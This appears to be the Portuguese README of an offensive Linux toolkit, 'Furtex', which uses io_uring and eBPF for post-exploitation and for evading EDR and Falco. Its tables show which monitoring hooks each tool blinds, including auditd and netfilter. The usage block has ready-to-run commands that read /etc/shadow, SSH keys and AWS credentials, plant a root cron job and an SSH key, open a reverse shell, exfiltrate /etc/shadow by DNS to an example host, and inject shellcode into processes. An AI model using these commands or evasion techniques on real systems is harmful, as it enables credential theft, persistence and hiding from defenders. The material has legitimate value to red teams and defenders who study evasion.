Furtex

Kit de ferramentas de pesquisa pós-exploração e evasão para Linux, construído em torno de io_uring e eBPF. Sem liburing, sem frameworks, syscalls puros em todo o código.

Mais ferramentas em breve. PRs são bem-vindos. 🇧🇷

Junte-se aos Pesquisadores de Rootkit

• https://discord.gg/66N5ZQppU7

Apenas para pesquisa autorizada e engajamentos de red team. Não execute isso em sistemas que não são seus.

``` Furtex/ ├── io_uring/ raw io_uring ops: file, net, injection, exfil (13 tools) ├── bpf/ BPF map and program tooling (15 tools) ├── ebpf/ BPF-side programs and loaders (9 programs + 2 runners) ├── edrs/ EDR evasion and post-exploitation (75 tools) └── techniques/ Falco-specific bypass, all 25 default rules (13 tools)

## Requisitos

**Ferramentas**

| ferramenta | necessário para |
|---|---|
| `gcc` | todos os binários de espaço do usuário |
| `clang` | programas do lado BPF `ebpf/*.bpf.c` |
| `make` | sistema de compilação |

**Cabeçalhos e bibliotecas**

| pacote | necessário para |
|---|---|
| `linux-headers-$(uname -r)` | `<linux/bpf.h>`, `<linux/io_uring.h>` e cabeçalhos do kernel relacionados |
| `libbpf-dev` | `<bpf/bpf_helpers.h>` e afins usados nos programas `ebpf/` |
| `bpftool` | gerar `vmlinux.h` via `make vmlinux` dentro de `ebpf/` |

No Debian/Kali/Ubuntu:```sh
sudo apt install gcc clang make linux-headers-$(uname -r) libbpf-dev bpftool

Versões do kernel

mínima	o que desbloqueia
5.4	base io_uring (IORING_FEAT_SINGLE_MMAP, iteração de mapa BPF)
5.6	IORING_OP_OPENAT, IORING_OP_STATX, pidfd_getfd (pidfd_steal)
5.8	divisão CAP_BPF + CAP_PERFMON (substitui CAP_SYS_ADMIN para BPF)
5.9	BPF_LINK_DETACH (bpf_link_detach)
5.19	IORING_OP_SOCKET (af_packet_send, dns_exfil, xdp_socket_send, bpf_kprobe_bypass)

Capacidades

capacidade	ferramentas que exigem
CAP_BPF (ou CAP_SYS_ADMIN pré-5.8)	todas as ferramentas bpf/, carregadores ebpf/
CAP_PERFMON	programas tracepoint e kprobe ebpf/
CAP_NET_RAW	icmp_tunnel, af_packet_shell, skf_c2_runner, icmp_trigger
CAP_NET_ADMIN	xdp_socket_send, netfilter_flush
CAP_AUDIT_CONTROL	audit_kill

BTF deve estar habilitado no kernel (CONFIG_DEBUG_INFO_BTF=y) para executar make vmlinux para programas ebpf/.

Em distribuições com cabeçalhos libc-dev mais antigos (Ubuntu 22.04 etc.) você pode precisar de #ifndef IORING_OP_SOCKET / #define IORING_OP_SOCKET 45. Já tratado neste repositório.

Compilação

comando	compila
make all	tudo
make uring	apenas io_uring/
make bpf	ferramentas de espaço de usuário bpf/
make ebpf	programas do lado BPF (precisa de clang + libbpf)
make edrs	todos os binários edrs/
make techniques	ferramentas de bypass do Falco
make clean	remove todos os binários

edrs/ tem seu próprio sub-Makefile com ~75 binários divididos por privilégio:``` cd edrs && make priv # root / CAP_* required cd edrs && make unpriv # no privileges needed

Veja [PRIVILEGES.md](https://github.com/matheuzsecurity/furtex/blob/main/PRIVILEGES.md) para a descrição completa.

## Cobertura de bypass do io_uring

As SQEs do io_uring passam pela workqueue do kernel. `io_uring_enter(2)` nunca chama através de `sys_call_table`, nunca dispara tracepoints `sys_enter_*` e nunca atinge livepatch em `native_sys_call`. Isso sozinho elimina uma grande classe de hooks de EDR sem tocar em nada.

O que o io_uring contorna por si só:

| ponto de hook | nota |
|---|---|
| substituição do ponteiro de `sys_call_table` | io_uring nunca passa pela tabela de syscalls |
| livepatch em `native_sys_call` / `compat_sys_call` | mesma razão |
| tracepoints `sys_enter_*` | caminho da workqueue, nenhum tracepoint dispara |

O que o io_uring NÃO contorna por si só (necessita de uma ferramenta ativa):

| ponto de hook | ferramenta | o que a ferramenta faz |
|---|---|---|
| kprobes em `vfs_read`, `security_file_open`, etc. | `ftrace_enum` | remove os hooks de kprobe |
| BPF LSM / KRSI | `bpf_link_detach` | desanexa o link BPF |
| Linux audit | `audit_kill` | desativa auditd via NETLINK_AUDIT |
| patches LD_PRELOAD / PLT-GOT | `plt_unhook` | remove os hooks do espaço do usuário |
| netfilter OUTPUT / conntrack | `af_packet_shell` | usa AF_PACKET na camada 2, pula o netfilter |
| hooks `inet_stream_connect` | `udp_shell` | usa UDP, nunca chama o caminho de connect TCP |

## io_uring/

`iouring_utils.h` lida com a configuração do ring sem liburing.

| binário | o que faz |
|---|---|
| `file_read` | cadeia OPENAT+READ+CLOSE via io_uring, sem evento sys_enter_read |
| `file_write` | cadeia OPENAT+WRITE+CLOSE |
| `file_append` | mesmo que file_write mas com O_APPEND, offset -1 |
| `net_connect` | SOCKET+CONNECT+SEND+RECV em um único ring |
| `net_reverse_shell` | reverse shell sobre CONNECT do io_uring |
| `multifile_read` | até 64 arquivos em um lote de SQE |
| `memfd_exec` | transmite ELF via stdin para memfd, execve via /proc/self/fd |
| `proc_inject` | injeção JIT via /proc/PID/mem; injeção ptrace (flag --ptrace) |
| `pipe_splice` | SPLICE kernel-para-kernel, hooks do espaço do usuário nunca veem os bytes |
| `inotify_bypass_watch` | READ do io_uring não gera IN_ACCESS/IN_OPEN |
| `dns_exfil` | codifica dados em hex como labels de consulta DNS via io_uring SENDMSG |
| `af_packet_send` | Ethernet bruta via AF_PACKET (IORING_OP_SOCKET, contorna caminho inet) |
| `xdp_socket_send` | frame bruto via AF_XDP + UMEM ring, contorna netfilter completamente |```bash
./io_uring/file_read /etc/shadow
./io_uring/file_write /etc/cron.d/x "* * * * * root /tmp/sh"
./io_uring/file_append /root/.ssh/authorized_keys "ssh-ed25519 AAAA..."
./io_uring/net_connect 10.0.0.1 4444 "ping"
./io_uring/net_reverse_shell 192.168.1.1 4444
./io_uring/multifile_read /etc/passwd /etc/shadow /root/.ssh/id_rsa ~/.aws/credentials
cat payload | ./io_uring/memfd_exec [args...]
./io_uring/pipe_splice /etc/shadow /tmp/out
./io_uring/inotify_bypass_watch /var/log/auth.log
./io_uring/dns_exfil 1.2.3.4 exfil.example.com /etc/shadow

sudo ./io_uring/proc_inject
sudo ./io_uring/proc_inject <pid>
sudo ./io_uring/proc_inject          <pid> <shellcode_hex>
sudo ./io_uring/proc_inject --ptrace <pid> <shellcode_hex>

sudo ./io_uring/af_packet_send eth0 08:00:27:aa:bb:cc ff:ff:ff:ff:ff:ff "payload"
sudo ./io_uring/xdp_socket_send eth0 <hex-frame>

bpf/

A maioria das ferramentas requer CAP_BPF. env_exfil funciona sem privilégios. icmp_trigger requer CAP_NET_RAW em vez de CAP_BPF.